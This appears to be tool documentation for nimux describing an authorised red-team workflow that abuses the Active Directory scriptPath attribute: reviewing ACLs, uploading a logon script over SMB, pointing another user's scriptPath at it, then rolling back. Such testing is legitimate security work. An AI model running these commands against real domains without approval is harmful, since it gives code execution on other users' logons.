scriptPath and Logon Script Workflows with nimux
A neutral nimux workflow for scriptPath discovery, controlled logon script testing, SMB hosting, validation, and rollback.
Overview
The Active Directory scriptPath attribute can point a user to a logon script. If a principal can write that attribute on another user, it may become a code execution path when the user logs on. This is high impact and should be tested only with explicit approval.
nimux supports --set-scriptpath and SMB file operations, which are enough to document the path without leaving unmanaged changes behind.
Review the target account
nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
--filter '(sAMAccountName=target.user)' \
--attrs distinguishedName,scriptPath,userPrincipalNameReview ACLs before writing:
nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
--acl \
--user target.user \
--json > target-scriptpath-acl.jsonlPlace a controlled script
Use SMB file operations to place a harmless script in an approved share.
nimux put fileserver01.corp.local -d corp.local -u operator -p '<password>' \
--share Logon \
--local ./scoped-validation.bat \
--remote scoped-validation.batThe script should do the minimum needed for validation, such as writing a marker file.
Set scriptPath
nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
--set-scriptpath \
--user target.user \
--script-path '\\fileserver01\Logon\scoped-validation.bat' \
--rollback-out scriptpath-rollback.jsonlConfirm the attribute:
nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
--filter '(sAMAccountName=target.user)' \
--attrs scriptPathRoll back
nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
--set-scriptpath \
--user target.user \
--script-path ''Remove the script if it was created only for validation:
nimux rm fileserver01.corp.local -d corp.local -u operator -p '<password>' \
--share Logon \
--remote scoped-validation.batReporting
Report the writer principal, target user, previous scriptPath value, new scoped value, validation result, and rollback status.